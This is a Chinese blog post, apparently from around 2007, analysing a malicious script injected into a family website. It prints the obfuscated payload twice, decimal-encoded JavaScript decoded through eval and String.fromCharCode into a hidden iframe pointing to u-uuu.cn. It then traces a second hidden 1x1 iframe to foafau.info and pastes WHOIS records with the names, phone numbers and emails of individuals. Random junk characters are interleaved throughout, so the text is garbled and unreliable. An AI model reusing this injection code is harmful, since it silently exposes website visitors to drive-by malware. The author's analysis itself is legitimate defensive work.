首发在我的博客里面，
~m:oJ+:O -| 0nZ http://www.areway.cn/?p=175 &PQhJ#Y G ?A4zIJ\ Rcg q7W 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
tB S+?N S#h-X(4 <script>t=’60,105,102,114,97,109,101,
oeV. K. 32,115,114,99,61,104,116,116,112,58,47,47,
?4k/V6n@y 102,114,101,101,46,117,45,117,117,117,46,99,
_"_
21uB 110,47,101,114,114,111,114,46,104,116,109,
~e|RVY, 32,119,105,100,116,104,61,49,48,48,32,104,
k
P]' 101,105,103,104,116,61,48,62,60,47,105,102,
Db:^Omw o 114,97,109,101,62′;
y vIeK6 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
8
5 L< Y -yozt <script>t=’60,105,102,114,97,109,101,32,115,
0m2%ucKw 114,99,61,104,116,116,112,58,47,47,102,114,
{}.M(nPtv; 101,101,46,117,45,117,117,117,46,99,110,47,
Z hqGUb 101,114,114,111,114,46,104,116,109,32,119,
t QR qQ 105,100,116,104,61,49,48,48,32,104,101,105,
JM&`&fsOC{ 103,104,116,61,48,62,60,47,105,102,114,97,
]>v C.iYp 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
:.DZ~I document.write(t);</script>
xUW\P$ xDqJsp=]- <html xmlns=”
91f{qq=#J{ http://www.w3.org/1999/xhtml 0P_=Oy"l- “>
V ,+&.A23 <head>
=EJ8J;y_f <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
YCPU84f <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Ew<
sK9[o <title>首页 - 爱生活家庭网
7 sX#6`t /Fr *k5I 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
!n`9V^` 转换字符串后的大概内容是（谁点击后果自付）：
ahh&h1q7| <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
FhP $R}F eoj(zY3 查询玉米u-uuu.cn的详细信息：
t6q7 w Domain Name: u-uuu.cn
2y"L&3W ROID: 20070901s10001s64972306-cn
@vc9L Domain Status: ok
"g5<j p Registrant Organization: 王雷
&gLXS1O Registrant Name: 王雷
gB_gjn\ Administrative Email:
czlovexs@126.com i,h)V Cc Sponsoring Registrar: 北京万网志成科技有限公司
1b=,lm Name Server:ns.yovole.com
>rhqhmh;W" Name Server:ns1.yovole.com
w #d7 Registration Date: 2007-09-01 17:54
v) j3YhY Expiration Date: 2008-09-01 17:54
Ff Rv i8 最后PING了一下地址 都没有什么….
*ZkOZ RRb>]oD 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
1rIL[(r4 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
K_Pbzj4(P <script language=”javascript” src=”
D n l|B\ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script l3Qt_I)L >
^\oMsU5( 这个玉米应该有可能是木马作者的：
tXCgRU foafau.info的详细信息：
X Z=%XB:? Access to INFO WHOIS information is provided to assist persons in
WCYVon bg" determining the contents of a domain name registration record in the
Of c
u4pi Afilias registry database. The data in this record is provided by
3:aj8F2 Afilias Limited for informational purposes only, and Afilias does not
en"\2+{Cg guarantee its accuracy. This service is intended only for query-based
vkLKzsN' ] access. You agree that you will use this data only for lawful purposes
Q 5&|1m Pb and that, under no circumstances will you use this data to: (a) allow,
yR% l[/ X enable, or otherwise support the transmission by e-mail, telephone, or
_oHxpeM facsimile of mass unsolicited, commercial advertising or solicitations
D4 T42L to entities other than the data recipient’s own existing customers; or
Nh01NY; (b) enable high volume, automated, electronic processes that send
65vsQ|Zw queries or data to the systems of Registry Operator, a Registrar, or
ro + 8d Afilias except as reasonably necessary to register domain names or
^U6VJ(58P modify existing registrations. All rights reserved. Afilias reserves
C1uV7t*\ the right to modify these terms at any time. By submitting this query,
pwv mb \ you agree to abide by this policy.
0Q~\1D 9g Domain ID:D22418703-LRMS
x 9o( q`N Domain Name:FOAFAU.INFO
-;O" Y?ME Created On:20-Nov-2007 16:05:42 UTC
Byh !Snoe Last Updated On:20-Nov-2007 16:05:44 UTC
j|>^wB Expiration Date:20-Nov-2008 16:05:42 UTC
J im5Ul Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
v\g1 w&PN Status:CLIENT DELETE PROHIBITED
vW0U~(XlN Status:CLIENT RENEW PROHIBITED
I%jlM0ZUI" Status:CLIENT TRANSFER PROHIBITED
,ZZ5A;) Status:CLIENT UPDATE PROHIBITED
KP`Pzx Status:TRANSFER PROHIBITED
O<J<)_W) Registrant ID:GODA-040110615
yb-4[C:i Registrant Name:liu hong
F9>"1 Registrant Organization:
`NQ;|! Registrant Street1:beijing
wkY$J\J Registrant Street2:
tqpSir Registrant Street3:
R1Fcd@DWD Registrant City:beijing
;3iWV"&_A Registrant State/Province:
vCn~- Q Registrant Postal Code:100000
z2jS(N?J 1 Registrant Country:CN
wjTW{Bg~G Registrant Phone:+86.860108888777
&{bNa:@ Registrant Phone Ext.:
?weuq"*a Registrant FAX:
vcZ"4% w Registrant FAX Ext.:
)1g\v8XT Registrant Email:bbbshiji@163.com
{rzQ[_)EC Admin ID:GODA-240110615
#+
{%>f Admin Name:liu hong
Pk6_ 1 LV Admin Organization:
w6ck wn, Admin Street1:beijing
!{ ! (yP_ Admin Street2:
([ A%>u> h Admin Street3:
`69xR[f Admin City:beijing
Hn]6re Admin State/Province:
bV:MOj^ Admin Postal Code:100000
bR J]avR
Admin Country:CN
wS [k} Admin Phone:+86.860108888777
.PCbGPbk Admin Phone Ext.:
} : T }N] Admin FAX:
wsj5;(f+ Admin FAX Ext.:
?{ ~. }Vn Admin Email:bbbshiji@163.com
{~V_6wY g Billing ID:GODA-340110615
XcKyrh;i Billing Name:liu hong
0L \v i Billing Organization:
6-\C?w
A Billing Street1:beijing
7'7o^>
! Billing Street2:
s5ILl wr Billing Street3:
sh% %U Billing City:beijing
2\#~%D>[ Billing State/Province:
,%KMi-w]q, Billing Postal Code:100000
CWkAc5 Billing Country:CN
! H4u c Billing Phone:+86.860108888777
UO ' X"` Billing Phone Ext.:
\V*E:_w* Billing FAX:
u73/#!(1=H Billing FAX Ext.:
( N{ Billing Email:bbbshiji@163.com
I fj%" RI Tech ID:GODA-140110615
c#pVN](? Tech Name:liu hong
{'G u@l Tech Organization:
yjucR
Fl Tech Street1:beijing
4OdK@+-8U Tech Street2:
w*AXD!} Tech Street3:
{N0ky=u d Tech City:beijing
_aOsFFB1KF Tech State/Province:
#~ [mn_C Tech Postal Code:100000
@TnAO8Q>XD Tech Country:CN
`=#ry*E^: Tech Phone:+86.860108888777
^Cn_
ODjo Tech Phone Ext.:
_ 3>|1RB Tech FAX:
|Vc:o_n7 Tech FAX Ext.:
\8S HX Tech Email:bbbshiji@163.com
0"M0tA# Name Server:NS27.DOMAINCONTROL.COM
^i~'aq Name Server:NS28.DOMAINCONTROL.COM
XcQ' ( Name Server:
!& xc.39 Name Server:
U_e e3KKA Name Server:
w5}2$r Name Server:
Hy1f,D Name Server:
"a >a
"Ei Name Server:
|h%fi-a: Name Server:
V %Rz(a+c Name Server:
(
j~trpe, Name Server:
qxglA*/
[ Name Server:
dDla?)F Name Server:
i c|>JX$G ^7%
KS 接着下载每个文件里面的代码：
y-CVyl 一步一步看..
a0x/ ? )DO 
`F1 ( v 
Fu !sw]6xx 
EYF]&+ 9 
] Q\/si& 
&\o !-EIK8 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
